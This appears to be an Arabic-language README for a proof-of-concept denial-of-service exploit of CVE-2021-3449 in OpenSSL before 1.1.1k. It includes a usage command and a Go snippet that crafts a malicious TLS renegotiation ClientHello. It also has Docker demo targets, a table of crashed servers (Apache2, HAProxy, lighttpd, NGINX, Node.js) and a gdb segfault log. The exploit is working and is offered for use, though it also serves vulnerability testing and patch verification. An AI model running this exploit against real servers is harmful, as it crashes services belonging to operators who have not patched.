CVE-2021-3449 استغلال DoS في OpenSSL <1.1.1k

الاستخدام: go run . -host hostname:port

ينفّذ هذا البرنامج استغلالًا لإثبات المفهوم (Proof-of-Concept) لثغرة CVE-2021-3449 التي تؤثر على خوادم OpenSSL ذات الإصدارات الأقدم من 1.1.1k إذا كانت عملية إعادة التفاوض الآمنة لـ TLSv1.2 مقبولة.

يتصل البرنامج بخادم TLSv1.2 ويبدأ فورًا عملية "إعادة تفاوض آمنة" وفق RFC 5746. يتضمن الهجوم رسالة ClientHello مُصمَّمة بشكل خبيث تتسبب في تعطّل الخادم عبر التسبب في خطأ إلغاء مرجعية مؤشر فارغ (Denial-of-Service).

المراجع

أُبلغت OpenSSL بهذه المشكلة في 17 مارس 2021 من قبل Nokia. تم تطوير الإصلاح بواسطة Peter Kästle و Samuel Sapalski من Nokia.

التخفيف

الإصلاح المعروف الوحيد هو تحديث libssl1.1.

على الرغم من أن بعض التطبيقات تستخدم افتراضيًا إعدادات TLS مقوّاة تعطّل إعادة التفاوض عبر TLS، إلا أنها لا تزال متأثرة بالثغرة إذا كانت تعمل بإصدار قديم من OpenSSL.

الاستغلال

main.go هو سكربت صغير يتصل بخادم TLS، ويجبره على إعادة التفاوض، ثم يفصل الاتصال.

تم حقن كود الاستغلال في نسخة مدمجة من حزمة encoding/tls الخاصة بـ Go 1.14.15. يمكنك العثور عليه في handshake_client.go:115. المنطق واضح بذاته.

// CVE-2021-3449 exploit code.
if hello.vers >= VersionTLS12 {
    if c.handshakes == 0 {
        println("sending initial ClientHello")
        hello.supportedSignatureAlgorithms = supportedSignatureAlgorithms
    } else {
        // OpenSSL pre-1.1.1k runs into a NULL-pointer dereference
        // if the supported_signature_algorithms extension is omitted,
        // but supported_signature_algorithms_cert is present.
        println("sending malicious ClientHello")
        hello.supportedSignatureAlgorithmsCert = supportedSignatureAlgorithms
    }
}

– @terorie

العرض التجريبي

يحتوي مجلد demo/ على إعدادات لتزويد تطبيقات مختلفة بإصدار هش من OpenSSL.

إعداد الاختبار:

نزّل إصدار OpenSSL الهش 1.1.1j وقم بتجميعه محليًا
جهّز حاوية هدف بنظام Ubuntu 20.04 وارفع مكتبات OpenSSL إليها
ثبّت التطبيق على الحاوية الهدف
شغّل الخادم ونفّذ الهجوم

المتطلبات:

OpenSSL (على المضيف)
build-essential (Perl وGCC وMake)
Docker

ملاحظة: لا يوجد أي من خوادم الويب المدرجة عُرضة لثغرة CVE-2021-3449 عند استخدام OpenSSL 1.1.1k أو أحدث.

الخادم	التوزيعة	الإصدار	العرض التجريبي	النتيجة
OpenSSL s_server	-	1.1.1j	`make demo-openssl`	تعطّل
Apache2	Ubuntu 18.04	2.4.29	`make demo-apache2`	تعطّل جزئي
HAProxy	Ubuntu 18.04	1.8.8	`make demo-haproxy`	تعطّل
HAProxy	Ubuntu 20.04	2.0.13	`make demo-haproxy`	لا تأثير
lighttpd	Ubuntu 18.04	1.4.55	`make demo-lighttpd`	تعطّل
lighttpd	Ubuntu 20.04	1.4.55	`make demo-lighttpd`	تعطّل
lighttpd	Ubuntu 21.04	1.4.59	`make demo-lighttpd`	لا تأثير مع خيار الإعدادات
NGINX	Ubuntu 18.04	1.14.0	`make demo-nginx`	تعطّل جزئي
NGINX	Ubuntu 20.04	1.18.0	`make demo-nginx`	لا تأثير
Node.js <=12	Ubuntu 18.04			لا تأثير
Node.js >12	Ubuntu 18.04	?	`make demo-nodejs`	تعطّل
Node.js >12	Ubuntu 18.04	15.14.0	`make demo-nodejs`	لا تأثير

لتنظيف جميع موارد العرض التجريبي، شغّل make clean.

خادم OpenSSL البسيط

openssl s_server هو تنفيذ بسيط لخادم TLS.

make demo-openssl: تشغيل كامل (المنفذ 4433)
make -C demo build-openssl: بناء صورة Docker الهدف
make -C demo start-openssl: بدء الهدف على المنفذ 4433
make -C demo stop-openssl: إيقاف الهدف

النتيجة: تعطّل كامل للخادم.

السجلات

docker run -d -it --name cve-2021-3449-openssl --network host local/cve-2021-3449/openssl
a16c44f98a37b7e0c0777d3bd66456203de129fd23566d2141ef2bec9777be17
docker logs -f cve-2021-3449-openssl &
sleep 2
warning: Error disabling address space randomization: Operation not permitted
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Using default temp DH parameters
ACCEPT
sending initial ClientHello
connected
sending malicious ClientHello

[[truncated]]

Program received signal SIGSEGV, Segmentation fault.
0x00007f668bd89283 in tls12_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#0  0x00007f668bd89283 in tls12_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#1  0x00007f668bd893cd in tls1_set_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#2  0x00007f668bd89fe3 in tls1_process_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#3  0x00007f668bd8a110 in tls1_set_server_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#4  0x00007f668bd824a2 in tls_early_post_process_client_hello () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#5  0x00007f668bd84d55 in tls_post_process_client_hello () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#6  0x00007f668bd8522f in ossl_statem_server_post_process_message () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#7  0x00007f668bd710e1 in read_state_machine () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#8  0x00007f668bd7199d in state_machine () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#9  0x00007f668bd71c4e in ossl_statem_accept () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#10 0x00007f668bd493ab in ssl3_read_bytes () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#11 0x00007f668bd504ec in ssl3_read_internal () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#12 0x00007f668bd50595 in ssl3_read () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#13 0x00007f668bd5ae5c in ssl_read_internal () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#14 0x00007f668bd5af5b in SSL_read () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#15 0x000055aa5a10f209 in sv_body ()
#16 0x000055aa5a1302ec in do_server ()
#17 0x000055aa5a114815 in s_server_main ()
#18 0x000055aa5a0f9395 in do_cmd ()
#19 0x000055aa5a0f9ee1 in main ()
malicious handshake failed, exploit might have worked

Apache2 httpd

خادم الويب Apache2 httpd بالإعدادات الافتراضية عُرضة للثغرة.

make demo-apache: تشغيل كامل (المنفذ 443)
make -C demo build-apache: بناء صورة Docker الهدف
make -C demo start-apache: بدء الهدف على المنفذ 443
make -C demo stop-apache: إيقاف الهدف

شكرًا لـ @binarytrails على المساهمة.

النتيجة: تعطّل جزئي، العملية الرئيسية لا تزال تعمل لكن عملية العامل تعطّلت.